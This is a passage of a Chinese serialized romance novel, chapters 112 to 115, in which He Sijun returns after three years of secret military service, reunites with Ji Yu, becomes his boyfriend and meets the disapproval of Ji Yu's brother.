纪羽预约了安装师傅明天下午上门。 要说那小偷得手了一家会不会再铤而走险还需打个问号,但万分之一的概率纪羽也不想面对。 不说会不会伤人, 光是被入侵家门这一点就够令人抓狂的。 他的家就是他的家, 什么蜈蚣苍蝇老鼠都不能进, 就算邻居家的咪咪偶尔来院子里待一会儿,纪羽也不会把猫引进房子里。 而一个陌生人在他不知情的情况进到他的房子里?想都不要想! 电影明灭有致的光影交换,纪羽捧着茶坐在客厅的沙发上, 眼皮止不住地向下耷拉。 已经是凌晨。 纪羽困倦,但还是睡不着,脑袋一落到枕头上就变得清明,困意为胡思乱想让步。 好几次纪羽都做了梦,梦到小偷从没关紧的窗户爬入,又或是撬了大门的锁大摇大摆地闯进来,在熟睡的自己身边开始“作业”。 这一来二去,纪羽吃了一肚子没由来的气,也不想再睡了,宁肯熬到天亮。 电视的音量被调得很低,得聚精会神地听着才不至于错过情节,偶尔能听见窗外躁动的蝉鸣,没有一刻休止。 后半夜,纪羽仍旧没抵过睡意,枕在沙发靠垫上闭上了眼。 二楼露台外沿传来极轻的声响。 一道黑影披着月光落在窗台,咔哒,窗户被推动了。 纪羽是个很警觉的人,但仅限于清醒时,一旦熟睡,就算是耳边落了雷也很少醒。他总是靠向一边侧躺,手搭在脸边,有什么动静就捂着耳朵翻过身接着睡。 在床上,只占了一半不到的位置。 纪羽完全不记得他是怎么从沙发走到了房间躺下,熟悉的房间布局入目,昨晚的折腾像错乱的梦,纪羽一时恍惚,撑坐起身时脖颈传来清晰地传来刺痛,脚下也传来令人不安的触感。 温热的,有点硬。 ……是……什么? 种种联想一闪而过,没有一件值得高兴。 纪羽全身紧绷,肌肉因紧张而酸痛,耳鼓处传来突突突的闷响。 他僵硬着脖子低下头。 对上了一双清明的双眼。 一瞬间所有感触都脱离了纪羽,他说不出话来,做不出表情,连呼吸都静止。 许久后,他才抬起手来,扬起,又落下。 巴掌声清脆地响起,打破一室静谧。 应该没有人会给久别重逢的朋友这样的见面礼。 纪羽的胳膊在抖,或许是因为激动吧。 还来不及叫出名字,他被向前带进了一个滚烫的怀抱,粗糙而宽大的掌根托着他的后颈,口腔闯入了异物,同样坚硬的牙齿碰撞在一起。 纪羽只接过一次吻,这是第二次。 贺思钧高挺的鼻梁磨得他脸颊生痛,但嘴巴更痛,从嘴唇到舌根都被啃咬过,纪羽咬住那张作乱的嘴巴,却被用力地舔过上颚,张大了湿热的口腔。 “够了!” 纪羽将男人推开,没怎么费力。 贺思钧的肩膀、手臂比过去还要结实有力,纪羽被抱紧时全身都像被紧紧压住,才挣脱开便怒从心头起,抬手又给了贺思钧一巴掌。 响亮的一声,纪羽打完有些后悔了。 贺思钧顶着两边一深一浅的红印,面容叫纪羽熟悉又陌生。长相仍旧是那个长相,眉眼却更像他父亲,是一种近乎冷酷的淡漠,深刻而坚硬。 三年,足够让所有记忆中的习惯偏离。 纪羽在贺思钧一言不发的注视中感到委屈的不安。 “还可以亲吗。”贺思钧用沙哑的嗓音问道,纪羽的情绪还未积攒便被打断,茫然的眼睛微微睁大。 纪羽没躲开,那就是还可以再亲。 贺思钧半跪着,纪羽坐在床沿,红肿的唇肉正在他的视线下方,他看到纪羽的睫毛向下垂落,眼睛追着他,尚未平复的呼吸又隐隐加快。 他摩挲着纪羽的唇肉,又不止于此,向上不断的攀爬着,直到纪羽已然闭上的眼睛,他微微偏开,轻咬在青年右脸的小痣上。 突然尝到了咸湿,贺思钧停下了动作,纪羽变得湿漉漉的。 “你有病是不是啊!回来为什么不给我发消息,你想吓死我吗,我在枕头底下还藏了榔头,我砸死你算了!” “我没带通讯设备,想早点回来见你,是我没想清楚,别哭了。”贺思钧用手给他擦眼泪,被偏头躲了过去。 纪羽不知该作何感想,眼泪不随心意地涌出来,淌过被贺思钧啃吃过的面颊,火辣辣地烫。 他顶着被人亲的红通通的脸,哽咽着斥道:“贺思钧,你要是没拿我当朋友就算了,我也不稀罕你,我前几天才发现你给我打钱,我一分都没用,我也没想过要去找你,我高考成绩可高了,明年我大学都毕业了,你现在连个高中毕业证都没有,我们俩当朋友都不匹配你懂吗!” 看到纪羽流泪的眼睛,贺思钧的双脚才落到了实处。 “对不起。” “你走的时候都快十八了,比干爸都高了,你怎么还能被带走呢,就算要走,你连托人给我带个话的本事都没有?” “对不起。” “你一点长进也没有,你就会道歉,你除了道歉还会什么,我告诉你,承风可是冠军,我是第一名!你对上我现在什么都不是了,你还敢亲我,什么都不说你还敢亲我?” “……”贺思钧低下头攥着他的手背,贴上额头,“那你的身体呢,现在好了吗?为什么你一个人在家,其他人呢,怎么在沙发上睡?” 纪羽闭了闭眼,咽下喉头滚动的阻力,咬着牙扯住不断下坠的嘴角,狠狠地把手抽走。 “我就想一个人待着,我现在最讨厌有人跟我待在一块儿,你和我见这一面也够了,你走吧,以后不用再见了,本来还想着你要是死了我得到哪里找个坟拜你,现在好了,看你长得那么壮实,肯定比我活得久,到时候你来参加我的葬礼就不用随份子了。” 贺思钧倏然变了脸色,下颚紧绷,一句话也说不出口了,见他怔然呆在原地,纪羽又道:“你做这副表情干什么,你还指望我对你有多大的耐心去关心你,我告诉你,从头到尾我对你都没有感情,你把我当什么了你把钱给我,我现在就转给你,全还给你——放我下来!你要把我带哪儿去!” 天旋地转,贺思钧直接将他拦腰抱了起来,纪羽身量不低,但在贺思钧手下跟一盆花、一杯水没什么区别,轻而易举地便制住了。 被放入出租车后座时,纪羽挣扎起来四肢乱挥,几乎称得上是在对贺思钧拳打脚踢了。 贺思钧对司机道:“去医院。” 刚说完,下巴上又挨了纪羽一拳,“贺思钧,你听得懂人话吗!我说了我没病了我好了!” 司机将目光从后视镜中移开:“确定去医院?” 这活蹦乱跳的。 贺思钧:“去。” 被压着做完检查,纪羽整个人已经脱力,萎靡不振地靠在贺思钧怀里,贺思钧对着报告再三确认:“确定没问题吗?” 医生:“是,除了有点低血压和微量元素有点轻微缺乏外没什么大问题,注意日常摄入营养均衡就可以。还有,你可以给他换个姿势,他有点落枕。” 贺思钧小心地把纪羽向上托了托,看着他泛白的面色,又问:“还有什么检查可以做,他脸色不太好,体重也不够。” 纪羽撑着力气扇了他一巴掌,跟摸没什么差别,吭哧吭哧喘了两口气:“我是被你气的!” 他晃晃悠悠地站起来,拉着贺思钧走出了诊室,到一个没人的角落里指着贺思钧的鼻子就骂:“你听不出来什么是气话是吗,烦死我了!” 这一早上过得比他过去几天都精彩,他看着贺思钧在他面前低着一张沉默寡言的脸,气得想笑。 他都快忘了自己都快二十二了,贺思钧这几年是被丢进荒无人烟的地方隔离了吗,怎么一朝退回解放前呢? 贺思钧一身黑衣黑裤全是纪羽踢打出来的灰印,纪羽穿着睡衣,脚上蹬一双拖鞋,两人面对面站着,都觉得对方可怜。 贺思钧最先沉不住气:“以后别说了。” 纪羽怒然:“你还不让我说你了!” 贺思钧连忙解释:“别说自己活不久的话了,你要长命百岁,小羽。” “分明就是你理解有问题,”纪羽说着眼睛又红了,“三年了,就算是个植物人都站起来了,我早就好了。 “你呢,这几年,你过得好不好?” 第113章 贺思钧很难去判断自己的人生是否可以用好或不好概括, 他人生中一半的时光在无止歇的追逐中度过。 遥远的边际不在他脚下,而在他父亲贺泰安无法从远方收束的目光里不断拓展。 他没有梦想,也没什么想要的, 这些问题对他来说显得有些多余了。从有意识开始,他就不需要思考未来, 道路已经在脚下铺开,做好现在,他自然会到达目的地。 他本该平静而坚定地奔赴他的使命, 或许那使命不该属于他, 但那无关紧要。 没有正不正确,应不应该, 只有服从命令和“你必须”。 没什么不能做到的事, 没什么应该展望的事,没什么需要牵肠挂肚的人。 本该是这样。 “我想以后做明星, 我一出现大家就哇地给我鼓掌, 所有人都喜欢我,说我特别好特别棒。”纪羽趴在桌面上涂涂画画, “你呢, 你要做什么呀。” “我要当英雄。”他说。 纪羽撑起身来看他:“英雄?英雄要怎么做?” 贺思钧不知道,但他知道贺泰安是, 自他有记忆起就不断有人拍着他的肩膀,说他和贺泰安长得真像, 性格如出一辙, 长大后会成为第二个贺泰安。 贺泰安看着他, 对朋友说,也许吧。 纪羽有些遗憾地垂下眼睛,嘟囔一句:“那好吧, 本来还想让你做我的经纪人,我的钱可以分一半的一半给你。” 纪羽的心里一半是父母,剩下的一半里有纪律,有他。 这么一算,他从纪羽那里占了不小的便宜,那他该拿什么回报给纪羽? 贺泰安常说荣誉不属于他,属于更宏大的信念,所以即便贺思钧成为英雄,他也分不出什么给纪羽。 更何况,纪羽将一半的喜怒哀乐也赠给了他,在浅淡的情绪被察觉前,纪羽的眼泪就先落了下来,纪羽常常说他好可怜,像在路边他看到流浪狗围着人摇尾巴时他会说的话。 贺思钧不觉得自己可怜,但流着泪的纪羽很可怜。 贺思钧很少见到人流泪。乔青燕的泪是苦的,冰凉地落在他的肩膀,她说你要争气,不要辜负你爸爸的期望,你爸爸他…… 他什么? 他也很可怜吗,像纪羽会为贺思钧落泪那样,乔青燕也会为贺泰安难过。 但纪羽并不是完全地站在他这边,偶尔他看向贺泰安的眼睛里,也会有相似的泪光,但纪羽不会抱住贺泰安,纪羽只会拉住他的手,抱住他,说贺思钧,你以后不要成为那样好不好。 贺思钧的心受到了另一个人的浇灌,形态逐渐地不受控,枝条疯长向四周探索。 但违背指令似乎没带来好结果,纪羽要他带他走,他拒绝了,可纪羽仍旧在他怀中枯萎。 一次,两次。 乔青燕从纪泽兰的态度中察觉出了异样,那天她站在他的房间,脚下是已然枯萎的铁线莲花瓣,问他:“你为什么会这样?” 贺思钧为什么会这样,谁知道,他自己也不明白他为什么是这副模样,这副性格,似乎一切都容不了他挑选。 临走前,他说他想留两句话。 贺泰安问他想说什么。 贺思钧说,让纪羽不用等我。 贺泰安说这话不用留,他不会等。 好,贺思钧没什么好说的了,他从湿润的沿海地带来到一片荒漠,这里飞沙走石,沙地和海一般望不到头。 每天都有人被淘汰,熟悉的面孔十不存一,他为这场选拔做了十多年的准备,适应良好。 贺思钧留到了最后。 似乎尘埃落定了,可又一条道路摆在他面前。 一个匿名组织,直接受控于中部,没有晋升空间,淘汰考核每半年一轮,每年死的人也多,不过赚得也多,运气好能撑过三年盆满钵满地离开,运气不好那也没办法。 和入编队相比,听起来很不正规,也不符合贺泰安对他的期望。 做决定当天,贺泰安隔着铁网和他谈。 是为你自己还是为所有人考虑? 贺思钧看着他空荡的裤管,问出了一个他自己也不明白的问题:这个所有人里,不能包括他吗? 贺泰安再也没来过。 任务时常有,贺思钧没有缺席过,报酬的确很丰厚,就算是险些瞎了一只眼也值得,贺思钧把记在心里的账户默写出来,请同事或者说战友替他把钱打了出去。 战友没说那人有没有回应,但有消息的话,他会说的。 又一次他从荒漠上被拖回来,腿暂时动不了了,贺思钧有点可惜,又有点庆幸。 西宁和宁海差了一个字,气候相去甚远。 西宁没有雨,从贺思钧来到这里就只见过头顶那轮白日,大地是冒着烟的,沙子做的烟。不像宁海,用日光将人折磨到极限就下一场雨,泥土干透又湿,湿了又干,土腥气缠绕在梦里。 贺思钧醒来想,他好像总在做纪羽最讨厌的事。 西宁罕见的一场暴雨来临时,他跳入一望无际的海面,洋流会把这一片的温度带到纪羽所在的海域。 海洋和大陆过分地辽阔,通信不能全面地覆盖,总有几片与世隔绝的地方,贺思钧没法录下来,不然以后带给纪羽看也很好。 他带不走任务中获得的一丝一毫,但唯独报酬可以随意支配,他把固定薪资打给了乔青燕,剩下的酬劳都打给了那个宁海的账户。 乔青燕打了申请等了十多天才和他见上面。 她脸上带着愧疚,惴惴不安的,不落忍似的说道:“你奉帼叔叔走了,你也知道,这些年那孩子没有长辈帮衬也不容易……” 娶战友遗孀、抚养遗孤是贺泰安那个年代的责任与牺牲,实属常见,更何况贺泰安离年轻岁月越远,越清晰地明白所谓的期望已无法实现。更何况贺泰安已经在他的身上验证了失败。 收养这个遗孤,大概只是出于他永远不能同等体会的义务。 “下次我会多转一点。” 乔青燕的脸色变了,不像是欣慰,但也说不准,贺思钧不擅长读情绪,他只从纪羽身上学习了如何处理情绪,但也仅限于安抚纪羽的情绪。 总之乔青燕也很少再来了,也不再接受汇款。贺思钧在一次任务中后知后觉地意识到这象征着一次关系的重大转折,又或是一种不彻底的终结。 文凭在这里不大重要,枪林弹雨也不会因为他是硕士你是文盲就区别对待,有什么能力显出来就是了。 贺思钧出人意料地玩得转计算机,队友说他看着不像高材生、书呆子,贺思钧回答这个赚钱快。 三年期限到了,贺思钧数着日子,执行任务中途他就提了过几天要走,队长险些把他从直升机上踹下去。 “记得早点结账。”贺思钧提醒。 队长咆哮:“先活着回去行吗!闭嘴吧傻叉!” 贺思钧活下来了,连告别也没有,背包就走,和他来时一样。 他不远千里,一刻也不停歇地回到宁海。 极少的机会他通过网络看到纪羽的近况,鲜活且生动,和他像个两个世界的人了,照片一张也留不下来,浏览记录尽数删除,他在脑海里补齐纪羽的样貌。 长高了一点,身形相比成年男人还是纤薄,长相没什么变化,睡着时的睫毛垂下的角度都与记忆里一般无二。 贺思钧把他从沙发上托抱起来,纪羽没醒,偏了偏头,鼻息打在颈侧,贺思钧平稳的心跳乱了节拍。 一挨到床,纪羽翻个身就睡熟了,半点没察觉房子里多了个人,毫无防备地袒露。 后腰的衣摆被人掀起也无知无觉。 皮肤干净平坦,没有伤痕,多次穿刺留下的疤痕已经消了,贺思钧将衣服放下又把毯子从纪羽脖子以下盖好,这才躺到了地上。 一千多个日夜点滴,在沉沉的呼吸声中逐渐远去模糊- “你就不能自己找个客房睡!”纪羽边擦头发边指挥贺思钧把床单被套拆下,“躺在地上脏死了。” 贺思钧洗了澡,换了衣服就开始收拾,摸索着开启了新款洗衣机又拿起拖把。 纪羽跟在他边上,又指窗台:“你昨天是不是从这儿上来的,鞋子踩到的地方都要擦。” 贺思钧顿了一下,把拖把架在墙角,又去拿抹布。 “你现在回归社会就得走正门,哪有爬窗户的,要是我昨天没睡着把你当歹徒了呢,你身手再好在窗台上怎么躲,一榔头下去——”纪羽皱巴脸,“你脑袋还要不要了?” 贺思钧虚心受教:“我知道了。” 这么听话,纪羽还想着再补充什么,就见贺思钧又朝他走来。 他顿时警惕:“干嘛!” 贺思钧好像没什么企图心,越过他从浴室里拿出吹风机:“吹头发,你头发长,不吹干容易头痛。” 纪羽看一眼他剃成毛栗的脑袋:“是你头发太短了,我要到里面吹,水滴在房间里又弄脏了。” 贺思钧提着吹风机跟他进去浴室,插上插头自觉给纪羽吹起头发。 暖烘烘的风从上方传来,贺思钧身高手长,伺候他的角度也刚刚好,纪羽才舒服得眯起眼,又看见镜子里自己肿了一倍的嘴巴,挑起眉毛就要发火。 他差点又忘了这茬! “烫不烫?” 施法被中途打断,纪羽憋了一会儿:“……不烫。” 镜面反射里贺思钧神情专注,捧起他的头发在手心烘干,水珠半点没落到他身上。 纪羽哑了火,回想路上贺思钧对他汇报似的简洁描述的三年,又想他一路奔波,也没真正躺下来歇过就忙前忙后地干起家务,竟然有点不好意思了—— 作者有话说:前十七年亲一口,过了三年能亲两下已经很好命了,贺思钧觉得很值。 第114章 不过在看到贺思钧低头在他脑袋上闻来闻去的模样, 那点难为情就散了个彻底。 “干什么?” 纪羽转过头对着贺思钧。 贺思钧倒是坦诚:“没忍住。” 他在外磨炼得越发皮糙肉厚,两颊的掌痕早就没了印儿,纪羽看着, 手又痒痒的了。 “你别莫名其妙的,正常点。” 要不是看在三年没见, 贺思钧又无处可去的份上,纪羽早把他赶出去了。 贺思钧身上那点文明社会的影响所剩无几似的,从里到外透露着一股原始的本能感, 就像一头心眼很多体型壮硕但看起来格外老实的巨狗。 舌头舔来舔去的烦死了, 还要用鼻头来蹭,骨骼那么粗壮, 牵着绳也不知道谁约束谁。 可丢了三年, 即便纪羽不喜欢狗更不喜欢往他脸上糊口水的蠢狗也没法生出真切的怒气来。 狗摇起尾巴:“我会克制的。” 安分地吹完了头发,重新铺上床单被罩, 贺思钧下楼做饭。 纪羽搬了椅子坐在厨房门口。 “真的吗, 你去沙漠里待了半个月?” “受了伤也不能休息那多久才能好啊……” “干妈……没有劝一下吗,等你考完试再走也好呀, 我们一起复习了那么久……” “贺思钧, 我还在想你怎么没来看我。” “你为什么到现在还喜欢我?” 纪羽靠在门边,语气慢慢:“宁海很无聊吧, 除了有海也没有什么特别的,你去了那么多地方, 又差点在那里死掉, 为什么还想着我呢?” 曾经的壮烈让贺泰安再也回不到平静的生活, 他的眼神仍像钢刀铁刺,纪羽很怕和他对视。 贺思钧和他很像,像在轮廓和眉眼, 还有如出一辙的气质,但面对纪羽,贺思钧总能拿出另一副嘴脸来。 “因为想见你,我才要活下来。”贺思钧在纪羽身前蹲下,没有外人,他的眼神毫不掩饰地透露出渴望,“我想见你,所以我会回来,没有你,去哪儿对我来说都一样。” 纪羽很难理解贺思钧这股强烈的牵挂,但对于贺思钧而言,他本该乏善可陈的人生因为有了纪羽的一半而确切地不同凡响。 不过纪羽向来低估他的位置。 被忽略压抑的情感一朝反扑便是海沸山崩,贺思钧的眼神像无形的触手笼罩着纪羽。 才洗过澡的身体又变得湿乎乎发冷,大夏天纪羽喝了一大碗热汤才驱走了寒意。 下午,纪羽正式和贺思钧谈话。 “你打算怎么办,以后还会回去吗?” 别哪天又被抓走找不到人影了。 纪羽坐在他对面的沙发上,脸色好看得多了,肤质清透,健康的红晕从皮下泛出,眼睛清亮,很讨人喜欢。 贺思钧很喜欢。 他掩住目光,拿出三年里从未有的温和顺从:“不会再有这种事。” 他自认该还的已经已经还清,该走的路也走过了,说他自私自利也没错,之后的时间,他只想自己支配。 重新高考,和纪羽考上同一所大学、创业、买房买车、结婚…… 纪羽打住:“谁要和你结婚?” 贺思钧不说话了。 纪羽站起来绕着客厅走了两圈,还是没忍住一巴掌抽在贺思钧后脑勺。 “你现在身上有几个子儿呀,你还想结婚,高复的钱你都凑不出来。” 他还不知道贺思钧,汇款那点钱怕是一分都没给自己留,有多少给多少。 “而且,我没说我喜欢你吧,你乱亲人这件事就算了我不和你计较。”纪羽眼珠一转,想出个好主意来,“我把钱还给你,你也不要再提我们在一起的事断了这个念想,我还可以辅导你高考,怎么样?” 纪羽说这话也不是故意针对贺思钧,只是他确实没有那个情根,相熟的大学前室友至今为止谈了三段恋爱,段段刻骨铭心要死要活痛彻心扉,即便是这样,室友也要在忙碌中分出精力来问一句:纪羽,你就不想红尘作伴潇潇洒洒策马奔腾吗? 不想。 哪怕又长大了几岁,纪羽的想法依旧没有改变,他无法想象要怎样和认识几月的人谈论情情爱爱 一旦以恋爱对象的视角看待身边人,纪羽就变得刻薄起来。 这很不好,所以纪羽从不把想法告诉别人。 至于贺思钧怎么样? 他已经很久没去考虑过了。 “我不接受。” 贺思钧否决了他的提议,纪羽很不高兴。 “为什么?做朋友难道不比做情侣好吗?”朋友的关系总是更稳固,更长久,更包容。 “如果只是朋友,那我和其他人有什么区别。”贺思钧俯身向前,“我和展舒文、柳承、辽光、贝旬这些人有什么区别,不同在我陪你更久?” 纪羽看着贺思钧站起来,隔着一段距离,他用不着抬头就能和贺思钧平视。 “我想要抱你,亲你,不用任何理由,朋友做得到吗?” 纪羽:“……你不是已经这么做了吗?” 贺思钧步步逼近:“那你其他的朋友也可以这么对你吗?” 纪羽退了半步。 “他们可以亲你但你不会躲开,你会原谅他们咬你的嘴巴,把舌头探进去?你也会用拒绝我的方式拒绝他们,你会打他们的脸吗?他们中任何一个人离开,你会像想我一样想他过得好不好吗?” 贺思钧问他:“你一次又一次原谅我,难道是因为我只是你认识得足够久的朋友?” 贺思钧不是突然变得能言善辩,纪羽也不是迟钝愚笨的蠢蛋。 “我说了,我永远不会原谅你。”纪羽从不忘记他说出口的话,一词一句都记得清楚。 贺思钧没有被他这句话吓到,依旧矗立在面前,不具备丝毫威胁。 “我只是没那么讨厌你。但你还是我最讨厌的人之一。” 仅次于纪律。 纪羽不想背叛过去的自己,因为他曾经确实很伤心。要用很多的好去填补,才可以把讨厌挤得很小很小。 说他大度不对,说他小气更不应该,纪羽只是公正地处理着他和每个人的关系。 他从不偏私。 贺思钧自作主张是错误,但喜欢他亲吻他不是。 是他默许了靠近。 一辈子不联系不见面实在太久了,三年已经足够长,葡萄成熟三次,纪羽熬过六个期末,才等到贺思钧再次叩响窗台。 纪羽总对巴文旭说要给坚持的人多一点表扬,巴文旭挺着肚子看他笔尖横撇竖捺千百遍仍说还差了点。 纪羽没出师,磨练人的手段也学不全,贺思钧向他讨赏,架子拿不住一会儿,他就松了口。 权大欺主,纪羽的嘴巴好像快被磨破了,全身没力气只能抓着恶犬的衣领才站得稳。 脸上变得滚烫,纪羽眼睛发痒,是睫毛打在贺思钧的眼窝,温度在唇齿间蔓延。 从到底为什么会亲在一起,到脑袋里生不出任何念头,不知度过了多少时间。 贺思钧听到纪羽发出不满的挣扎的哼声,放轻了动作,雾光遮着纪羽的眼睛,贺思钧退开一点,纪羽努力地喘着气。 “小羽,我是谁?” 纪羽觉得这个问题很无聊,倒在贺思钧身上呼哧呼哧。 贺思钧轻咬他的脸颊,一点点痛。 “说一下,好不好?” 纪羽终于有余力想起要给贺思钧一点训诫,扭过头去不给他贴近嘴巴的机会。贺思钧一点也不挑剔地叼住他的耳垂,在齿间磨。 “贺思钧!”纪羽捂耳朵,顺便把巴掌拍在贺思钧脸上。 终于意识到自己得寸进尺的人松开了一点怀抱,但还是不罢休地追问:“纪羽,我是你的男朋友了吗。” 纪羽松动一点态度,他就要乘胜追击,要接吻变得常态,拥抱成为必需,还要这份亲密有名有分。 “不是,”纪羽被人整个拢住还在说那样的话,“我不喜欢你,不和你在一起。” 贺思钧就接着亲他,熟悉的脸迫近,放大,纪羽被制住了弱点,怕嘴巴被咬破,舌根痛得要命也不敢挣开,只能看着男人的脸在眼前因过度贴近而逐渐陌生。 他迷糊得连眼前人是谁都分不出来了,身体还攀着,亲热地相贴。 “不想和你亲了……”纪羽被逼出了眼泪,口腔发麻嘴唇又过度肿烫,贺思钧安慰般亲了亲他,也不顾上臂被捏起一块肉扭了180度。 “说一声就好了,说一声。”贺思钧诱哄着。 纪羽缺氧到思维运转不畅,已经忘了刚才的对话,大脑空白地带着哭腔道:“要说什么啊,我讨厌死你了,我嘴巴很痛,为什么又要亲我还要我说话!” 嘴巴张张合合,透明的津液润湿唇肉,眼睛也湿润润的,可怜得不行。 贺思钧大概是石头做的心肠、秤砣撑大的胆子,竟然还不讨饶,仍在说:“你说,贺思钧是你的男朋友。” 纪羽亲了这一通,又和贺思钧嘚吧,口渴得要命,委屈劲直冒:“贺思钧有病!” 好在贺思钧还没失去理智,听他嗓子哑了,抱着他到吧台,纪羽咬住杯子咕咚咕咚喝了半杯。 还想再喝,贺思钧把杯子拿开了,又亲他的嘴巴。 纪羽彻底怕了,急不可耐地喊道:“是男朋友!贺思钧是我的男朋友!”他哽咽,“不要再亲我了……”—— 作者有话说:亲嘴的时候精得要死。 第115章 确认关系后的日常没什么特殊的, 从一个人慢悠悠地走路变成被牵着手散步,睡觉时不用自己关灯,饭菜准时定点刷新在餐桌。 除了时不时会把嘴巴磨得很痛, 纪羽好像独自进入了智能化时代,过上了理想中衣来伸手饭来张口的日子。 他可没有要求任何人替他这么做, 他一个人也能做到不是吗。那些细微的琐碎,独自生活的时间里,他不断地试错慢慢地学会, 并不当有什么要紧的。 家务被贺思钧一手包揽后, 他才发现自己有了那么多空闲。 “你是想给我做保姆,还是要和我谈恋爱啊。”纪羽又一次被挡在厨房门外, 嘟囔着, “我可以帮你。” 无论什么关系要稳固长久,都要两人共同付出, 纪羽既然答应了贺思钧, 就不会敷衍地应付。 贺思钧把火关小出了厨房,说着说着又把嘴巴贴到纪羽脸上。 “你让我讨好你吧, 我喜欢做, 每一件和你有关的事我都喜欢。” 纪羽明白了,这些贺思钧独立完成的某事都是他邀功的手段, 巴不得做更多来让自己夸夸他,最好是像现在这样, 被他抱在腿上亲。 “你这算大男子主义吗。”不典型, 有点另类。 纪羽埋在男人颈窝里, 以为躲开了亲吻万事大吉,脸颊的软肉蹭在贺思钧下巴,说话间细嫩地磨。 贺思钧垂着眼睛, 下巴抵着纪羽柔软的发丝,声音有点低:“我又做错了吗。” 纪羽想了想,说:“没有。算了,等你不想做家务的时候再告诉我。过几天我打算回学校那边住,宁海太热了,我都出不去门……” 要不是贺思钧还有些证件资料还需要处理,纪羽今天就想走了。 “好。”贺思钧答应了,怜爱地偏头亲在纪羽鼻尖。 纪羽一个人待在家很可怜,学会做家务很可怜,回应了他却没有享受这份喜欢也很可怜。 下午两人一起到墓区给巴文旭打了声招呼,回去的路上到电影院买了两张临开场的票,落座十多分钟才发现是部武打片,纪羽不喜欢,贺思钧带他提前离场了。 这天刚好是周五,柳承下班后,叫上展舒文和潘玥,五人一块吃了顿饭,纪羽用贺思钧的工资买单。 回家的路上,贺思钧问:“潘玥没和顾英杰在一起吗?” 连他都看出来,两人分手时都挺舍不得对方的。 纪羽:“潘玥学医去了,顾英杰要当警察,你觉得呢,他们还会在一起吗?” 贺思钧牵着他的手紧了紧,纪羽转过头看到他思索的眼神莫名想笑,蹦起来撞他的肩膀:“别瞎代入!” 第二天一早,贺思钧出门去办手续,纪羽睡到中午晃晃悠悠走到楼下,倒在沙发上打开电视。 门口传来脚步声,纪羽踢踏着拖鞋:“我来开我来开!” 算算时间,差不多也到做午饭的时间了,贺思钧最好的习惯就是准时。 纪羽边开门边说道:“我给你发消息你看到没,我的西瓜……” “什么西瓜。” “你怎么回来了。”纪羽拉下脸,不想挪步让开。 纪律刚侧身进入,门啪地就关了。纪羽倒回沙发,拿着手机不知道在给谁发消息。 纪律环顾屋内,倒挺整洁,不像纪羽之前独自在家待的几天,地板上四处残留着大块大块的水印,里里外外摆放的东西都换了位置,还得请人来重新整理打扫。 “你请谁来家里住了?” 一副主人翁的姿态,纪羽听不得:“你怎么回来了?” 纪律答非所问:“你公寓的保姆说你这个月没回去过。” 纪羽不再用后脑勺对着他,上身伏在沙发背上转过来看着他:“那是我家里的阿姨,你怎么有她们的联系方式?” 纪律再次回避了问题,说道:“莫满出狱了。” 这确实是个大事,纪羽默了阵,说:“那么快啊。” “你最近不要一个人待着,我会再提交申请莫满对你的禁止令。” “好。” “……” 纪羽抬眼:“你还要说什么?” 这几年就是这样,说不到两句话就没话可讲,话题总是没法接起,说不清到底是谁故意的。 “你朋友呢,什么时候过来。”纪律在沙发另一边坐下。 纪羽盘腿倒在靠枕中:“不知道,晚一点吧。” “是你高中的那个朋友,还是乐队的?他要在这住?住几天?” 简直没话找话,讨人厌的中年男人。纪羽在心中腹诽。 凭良心讲,纪律年纪不大,在行业里仍然算得上相当年轻,三十岁后他明显比以往更成熟,但纪羽更想把这份内敛称之为手段更熟练的装模作样。 纪羽划拉手机,聚精会神,一眼也分不出给身边:“我们明天就走了。” 纪律的声音晚了几秒才传来:“他和你一块儿?” 纪羽嘴巴也没张:“嗯。” 话到这份上,有什么关心也找不到冠冕堂皇的理由托出。 尴尬的沉默。 门前再次传来响动,不用起身,门已经打开。 纪羽惊喜地蹦起来:“贺思钧,你买西瓜啦,是无籽的吗。” 贺思钧自然地换鞋,自然地朝纪律点头——他在院子里看到了纪律的车。 纪羽迎上他,眼里只看得到西瓜。“你别拿,太重。”贺思钧避开他的手提着菜往厨房去,“都是无籽的,小一点的是黄肉,可以待会儿吃,大的是红肉,有点冰,要放一放。” 纪羽像只绊脚的猫走在前面嚷嚷:“我想吃冰的。” “吃完饭再吃,你吃早饭了吗?” “现在吃就是我的早饭。” 两人旁若无人地交谈起来,动作间的亲密遮掩不住。 纪律的面色一寸一寸发黑。 “纪羽,你出来。”他尽可能让语气和缓。 纪羽没动,还拉着不让贺思钧上前。他说:“我们前几天在一起了。” 前几天。 在一起。 纪律顿时如鲠在喉,面上彻底失去表情:“他什么时候回来的?” “十八号,”贺思钧记得很清楚,“到今天刚好一星期。” “一个星期。七天。”纪律冷笑。 那不如说贺思钧一回来他们就搅合在一起,那这三年里他们也一直都在联系? 不,他们在一起的时间应该更早,纪羽说前几天不过是在反驳他曾经的揣测。 但无论时间过去多久,他都不认为贺思钧和纪羽是足够匹配的人。 “你们不合适。”纪律搬出他的判定来。 “是我和他谈恋爱,和你又没关系,难道我们俩做兄弟就很合适吗?”纪羽像个被蒙骗的无知少女这么说道。 “这是两码事。” 纪律认为他有必要弄清楚贺思钧这些年都做了什么,让纪羽的态度发生了如此大的转折。 纪律转向贺思钧,上下打量。 没有任何质感的上衣长裤,更没有任何有价值的配饰,配上他深麦色的皮肤,像是刚犁过田被牵上岸的黄牛化形。 长处,没看出来,身体好也算长处那该去竞选保镖,而不是在这里挑好人家的儿子卿卿我我。 再看纪羽,除了手上有他自己练琴留下的茧子,没有一处不是娇惯着养的,纪羽长到二十岁,自行车从没独自骑过,纵然他对纪羽严格也从没叫纪羽替别人开过一次门。 他从一开始就反对和贺家结关系,如果不是乔青燕和纪泽兰曾经情同姐妹义结金兰,这声干爸贺泰安沾不到边。 腐朽、封建、以自我为中心。 贺泰安教出来的儿子又能好到哪儿去? 更何况三年过去,贺思钧似乎依旧一事无成,他勾搭上纪羽想做什么? 如果有些分寸、掂得清斤两,就知道什么是为纪羽好,远远地不招惹才对。 贺思钧用了什么手段,装可怜博取同情? “你干嘛这副眼神看他?”在他揭穿贺思钧的假面之前,纪羽又跳出来维护他的心上人,想到这个词,纪律很有呕吐的冲动。 “那我要怎么样,对他笑脸相迎,欢迎他来家里做客?” 纪羽提高了声量,十分英勇无畏地上前几步,挡在了贺思钧面前,但纪律还是可以越过他的头顶用尖酸刻薄的眼神评判他的男朋友,这让纪羽非常恼火,说话也更不客气: 